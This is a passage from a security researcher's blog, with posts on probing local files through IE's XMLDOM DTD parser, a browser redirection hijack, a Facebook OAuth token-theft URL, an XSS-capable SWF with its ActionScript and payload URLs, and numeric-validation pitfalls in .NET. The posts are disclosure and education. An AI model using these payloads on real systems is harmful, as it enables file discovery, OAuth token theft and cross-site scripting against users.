While I was testing a XML Injection vulnerability, I became interested in the W3Schools DTD Validator example that can only work in IE: http://www.w3schools.com/dtd/dtd_validation.asp. As a result, after I finished my testing, I started playing with this Microsoft XMLDOM object to see if it is vulnerable.

I created the following test case to manipulate the “$target$” value and validate it to see the results:

validateXML('<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "$target$">')

function validateXML(txt) {
    // code for IE
    if (window.ActiveXObject) {
        var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
        xmlDoc.async = true;
        try {
            xmlDoc.loadXML(txt);
			if (xmlDoc.parseError.errorCode != 0) {
				var err;
				err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
				err += "Error Reason: " + xmlDoc.parseError.reason;
				err += "Error Line: " + xmlDoc.parseError.line;
				alert(err);
				var errReason = xmlDoc.parseError.reason.toLowerCase();
				alert(errReason);
			} else {
                alert('No Error? Unknown!')
			}
        } catch (e) {
            alert(e);
        }

    } else {
        alert('you need to use IE')
    }
}

You can see this JS in action via this link in IE: http://jsfiddle.net/ubqug/

Detecting files in the C drive:

I tried different local file paths to see if I can include a file from the local file system. The results of the following test cases are the same – “Access is denied.”:

$target$=file://c:/windows/system32/calc.exe

$target$=file://c:/windows/system32/invalid.exe

See this link: http://jsfiddle.net/ubqug/1/

I thought I might be able to use “\\localhost” or “\\127.0.0.1” instead of using “file” protocol:

$target$ = \\127.0.0.1\c$\windows\system32\calc.exe

$target$ = \\127.0.0.1\c$\windows\system32\invalid.exe

The result was the same again; however, I did not receive an “access denied” error this time! See this link: http://jsfiddle.net/ubqug/2/

At this point, I used Sysinternals Suite Process Monitor to monitor the file system and I realised that in the previous example, it was looking for “c$” folder in the C drive!

Therefore, I removed “c$” from my targets and ran the test again:

$target$ = \\127.0.0.1\windows\system32\calc.exe

$target$ = \\127.0.0.1\windows\system32\invalid.exe

The result was promising as I received “Unspecified error” for the file that was available on my file system. See this: http://jsfiddle.net/ubqug/3/

So, I found my first bypass to detect available files on the C drive.

I also found more vectors to find files on the C drive and it turned out that I can get the same result by using “file:\” and “file:\\localhost\” instead of “file:\\”! See this link: http://jsfiddle.net/ubqug/4/

Detecting valid folders in C drive:

It was possible to find the valid folders on C drive by using the same technique as the error messages were a little bit different in case of having a valid or an invalid folder:

$target$ = \\localhost\windows\

$target$ = \\localhost\invalidfolder\

Try it in: http://jsfiddle.net/ubqug/6/ – in case of an invalid folder the message will be: “the system cannot locate the object …”. When a folder is valid we will have: “the system cannot find the path …”

I also found out if I use NTFS ADS (Alternate Data Streams) that are related to files and not the directories such as “::$DATA” I would receive different error messages to detect the valid folders (“access denied” versus the “the system cannot locate the object …”):

$target$ = \\localhost\windows::$DATA

$target$ = \\localhost\invalidfolder::$DATA

See the result in this link: http://jsfiddle.net/ubqug/7/

Detecting files and directories in all drives:

At this point during my testing, I had a limitation and I could not detect my files in any drive other than the C drive by using the previous vectors. Vectors like “file:/e:/” or “\\localhost\e$” did not work.

I solved this problem by using “res://” protocol (http://msdn.microsoft.com/en-us/library/aa767740(v=vs.85).aspx) and I received different error messages by pointing to the files or folders.

$target$ = res://d:\validfile.txt

$target$ = res://d:\invalidfile.txt

See the results here (you need to create the “validfile.txt” file in your D drive or change the path): http://jsfiddle.net/ubqug/5/

Detecting available drives:

In order to make the results more accurate, I had to find the available drive letters on the box. Unfortunately “res://” protocol was not helpful in this case and I had to use another solution. The solution that I found was in fact very easy. I could use the drive letters directly; if the drive letter is available, the error message would be “access denied” and when it is not available, the error message changes to “the system cannot find the path specified”:

$target$ = c:\

$target$ = invalid:\

See the results in http://jsfiddle.net/ubqug/8/

Detecting available Windows internal network addresses or internal websites:

During my tests, I realised that I can send http request to local sites or IP addresses, and I can point to network shares as well. In this case, it would give me an error immediately if the target was valid. However, it could take between 10 to 60 seconds to come back with an error when it could not receive a response from the target! I used this technique to detect valid local IP/Name addresses. However, as it does take a long time to identify an invalid target, it is not appropriate for scanning.

Denial of Service:

Like many other DTD parsers, XMLDOM object was also vulnerable to denial of service. I did not even try hard to find the issue and I used an example in the following link from MSDN Magazine:

http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

Summary:

I have created a PoC page to test the above techniques in one page which can be found via: http://0me.me/demo/IE/dtdTest.html

I also searched in Google and I found out that the general topic of these issues have been mentioned in the following link from Microsoft:

 http://msdn.microsoft.com/en-gb/library/windows/desktop/ms754611(v=vs.85).aspx

See the “Threats and Mitigation” section in the link above.

At the moment this issue is a client side issue and only works in IE. I published it as the impacts are low (limited information disclosure vulnerability) and you cannot read the file contents with the vectors that I have found (only worthless local DTD files are partially readable). However, this research can be very valuable to people who are looking for the new vectors in finding/exploiting XML vulnerabilities (for example in Java – I do not have time to test this at the moment) – obviously in legal and legitimate research/pentest projects ;)

Once again, the PoC page is: http://0me.me/demo/IE/dtdTest.html

Tagged with:  

To keep a record of the little things I have done since my last blog post:

1- IE/Firefox – Page Redirection Hijack

Several weeks ago, I reported an interesting PoC via my Twitter in which I had created a web page that stops Firefox and IE browsers to redirect users to their intended destination even if they had typed it directly in the address bar: https://twitter.com/irsdl/status/294239415428067329

This issue is still unpatched in the latest versions of these browsers (March 2013). Unfortunately, some advert companies are currently exploiting this issue as well. I have already reported it to Mozilla: https://bugzilla.mozilla.org/show_bug.cgi?id=839470

Example 1: No Redirection Ever: http://0me.me/demo/mozilla/firefox/UnRedirectablePage.html

Here is the Javascript code that does this:

window.onbeforeunload = function(){

      //Unredirectable Page

      setTimeout("window.location=document.location;alert('delay by alert');",0);

}

Example 2: This always redirects you to secproject.com:   http://0me.me/demo/mozilla/firefox/RedirectToSecProject.html

Here is the Javascript code that does this:

window.onbeforeunload = function(){

//Unredirectable Page

setTimeout("window.location='http://www.secproject.com';alert('delay by alert');",0);

}

2- Facebook OAuth2 Bypass

Facebook OAuth2 yet another redirection bypass! I only found one issue which was very similar to what Nir Goldshlager (www.nirgoldshlager.com) and Egor Homakov (homakov.blogspot.co.uk) had reported to Facebook. I highly recommend their blog posts about Facebook Oauth2 for reading and learning!

Here is what I have found in Facebook:

The following URL could send your sessions to attacker’s domain and he could hijack your OAuth token: Link


https://www.facebook.com/dialog/oauth?client_id=210831918949520&response_type=token&scope=,,,,&redirect_uri=https://apps.facebook.com/candycrush1//////////%23/testrdirsdl/%2523

It used to work in all the browsers. However, you needed to find an authorised Facebook app in order to be able to exploit this issue.

A short description:

- “/////” in the URL -> to bypass IE problem with Facebook redirection

- “candycrush1” -> to redirect the user to a normal user page instead of candycrush game! “https://apps.facebook.com/candy.crush1” takes you to a user page instead of an App!

- “%2523” and “%23” -> to remove # in the final URL and send the token directly in the URL.

The result of loading that URL was:

http://apps.facebook.com/testrdirsdl/&access_token=BlahBlahBlah&expires_in=5033

in which “testrdirsdl” is my app that can store the tokens in “http://www.secproject.com/demo/showmyinfo.php” (it does not have logging functionality at the moment!)

3- BugCrowd!

I attended several BugCrowd.com bounties and gladly received $$$ for private and public bounties! I liked the charity ones as well :-)

If you want to test live and different websites without having legal obligations (well, I hope they can provide us with a signed document per project very soon!), it is the right place. I recommend it to the people who want to have fun and increase their web app. security testing skills.

Unfortunately, the recent bounties from BugCrowd did not have fair prizes and I guess it is because of the companies budgets. Moreover, we still need them to come up with the hall of fame table! As soon as they sort these out, I will become more interested!

That’s it for now. Thanks for your time.

 

File in the hole! – HackPra slides

On November 27, 2012, in My Advisories, Security Articles, by Soroush Dalili

Last week, I had a talk in Bochum University about file upload vulnerabilities. I am going to share the slides and clips with you as they are already public via HackPra website:

http://www.nds.ruhr-uni-bochum.de/teaching/hackpra/

I have been told that the video will be available soon as well. I really recommend that you see the other talks in that website too.

Here are my slides in different formats:

Download the Power Point format

Download the PDF format

In this talk, I had revealed some 0days as examples (vendors already know about these issues):

- File Upload Protection bypass in FCKEditor 2.6.8 ASP version (Mostafa Azizi, Soroush Dalili) [Page 53 of Power Point file]

- Denial of Service issue in FCKEditor 2.6.8/CKFinder 2.3 (Soroush Dalili) [Page 54 of Power Point file]

- Directory Traversal in GleamTech Filevista (Soroush Dalili) [Page 22 of Power Point file]

You may be able to find similar issues in other web applications that have file upload functionality by using some of these methods.

—–

Note: Quick patch for FCKEditor 2.6.8 File Upload Bypass:

In “config.asp”, wherever you have:

      ConfigAllowedExtensions.Add    “File”,”Extensions Here”

Change it to:

      ConfigAllowedExtensions.Add    “File”,”^(Extensions Here)$”

XSS by uploading/including a SWF file

On November 12, 2012, in Security Articles, Security Posts, by Soroush Dalili

As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs.

This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either.

Note: IE has a protection to make the “document” object inaccessible when you open a SWF directly in a browser. I have bypassed IE8 protection by using a simple redirection in Javascript. I have also found a noisy way to bypass IE9 protection by opening a new window (you may be able to do it in a less noisy way – please leave your comments if you know any other bypass method).

Here is the actionscript code:

package
{
	import flash.display.Sprite;
	import flash.external.*;
	import flash.system.System;
	public class XSSProject extends Sprite
	{
		public function XSSProject()
		{
			flash.system.Security.allowDomain("*");
			ExternalInterface.marshallExceptions = true;
			try {
				ExternalInterface.call("0);}catch(e){};"+root.loaderInfo.parameters.js+"///*PoC by Soroush Dalili @IRSDL - only for testing/educational purposes - He accepts no responsibility for any bad/malicious usage*/");
			} catch(e:Error) {
				trace(e);
			}
		}
	}
}

Compiled file is accessbile via: http://0me.me/demo/xss/xssproject.swf

Examples:

Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,'_self’);}

IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,'target’);setTimeout(‘alert(w.document.location);w.close();’,1);

References:

[1] The other reason to beware ExternalInterface.call() (URL: http://lcamtuf.blogspot.co.uk/2011/03/other-reason-to-beware-of.html)

[2] Flash ExternalInterface.call() JavaScript Injection – can make the websites vulnerable to XSS (URL: http://soroush.secproject.com/blog/2011/03/flash-externalinterface-call-javascript-injection-%E2%80%93-can-make-the-websites-vulnerable-to-xss/)

According to MSDN, “IsNumeric returns a Boolean value indicating whether an expression can be evaluated as a number”, and (Numerical Datatype).TryParse converts the string representation of a number to its relevant numerical equivalent. A return Boolean value indicates whether the conversion succeeded or failed.

I have seen several cases where the developers were using TryParse or isNumeric only for validation, and they were not using a numeric variable at all; however, this could still cause functional and/or security issues in certain cases.

What is wrong with TryParse or IsNumeric then?!

There is nothing wrong with these functions if they are used correctly. In fact, these functions should not be used for validation only; they tell us if we can convert a string to its numerical format, and therefore, we can use a proper numerical variable instead of the string.

However, (numerical Datatype).TryParse is more useful than IsNumeric and can create the numerical equivalent as an output which can be used safely afterwards; it can also accept the permitted format(s) and the required culture format.

When can it go wrong?

From TryParse or IsNumeric point of view, a string can still be numeric even if it has some control characters or it follows a specific format as it can still be converted to a number. Therefore, the original string can be completely different in length and format from its equivalent numeric value. Now, if you use the original string when the results of these functions are true, we may have issues based on the destination system that uses them and trusts your validation. In real examples, I have seen a denial of service because of having a Null character in a serialized XML in the memory, or a denial of service because of sending a long string to a C++ component which did not have any validation and trusted the provided data.

The following table shows several test cases that can be combined as well (I have used URLEncoded values for the space and control characters):

String IsNumeric? Double.TryParse? Converted Number Comment(s)
001.0000 True True 1 decimal symbol based on the regional settings of the server
$10 True False 10 Currency symbol based on the regional settings of the server.
1,,2,,,3,, True True 123 Digit grouping symbol based on the regional settings of the server. Can be created by HPP too.
-10.0 True True -10 Negative symbol based on the regional settings of the server. It could be a positive sign.
(10) True False -10 Negative symbol based on the regional settings of the server.
10- True False -10 Negative symbol based on the regional settings of the server. It could be a positive sign.
1e2 True True 100 String length can be less than the number’s length
%20%091 True True 1 Space characters (09-0D and 20)
1%20%00%00 True True 1 Space characters (09-0D and 20) followed by Null Character(s)
%26hff True False 255 &h and &o can be used in VBScript to represent a number in Hex or Octal.
%0B%09%20-0001,,,,2.8e0002%09%20%0C%00%00 True True -1280 A combination
%0B$%09%20(0001,,,,2.8e0002%09%20)%0C%00%00 True False -1280 Another combination

You can try IsNumeric function by using the following link:

http://sdl.me/NumericTest/IsNumericTester.ashx?input=1

Source Code: http://sdl.me/NumericTest/IsNumericTester.ashx.vb.txt

You can try Double.TryParse function by using the following link:

http://sdl.me/NumericTest/DoubleTryParseTester.ashx?input=1

Source code: http://sdl.me/NumericTest/DoubleTryParseTester.ashx.cs.txt

Solution?

In .Net, (Numeric Data Type).TryParse automatically updates the relevant numeric variable for you that can be used later; it also accepts permitted format(s) and the required culture format of the input which is highly recommended to be used when you are looking for a specific format.

Example:

http://sdl.me/NumericTest/SafeDoubleTryParseTester.ashx?input=1

Source code: http://sdl.me/NumericTest/SafeDoubleTryParseTester.ashx.cs.txt

However, if you are a fan of using IsNumeric in VB, just make sure that you create a relevant numeric variable based on the input and convert the string to a number.

Another solution that may reduce the performance is validation by using a Regular Expression to check the numeric inputs in string. This method can be more useful if you are using different technologies (for example Java and .Net) at the same time to maintain consistency.

Tagged with: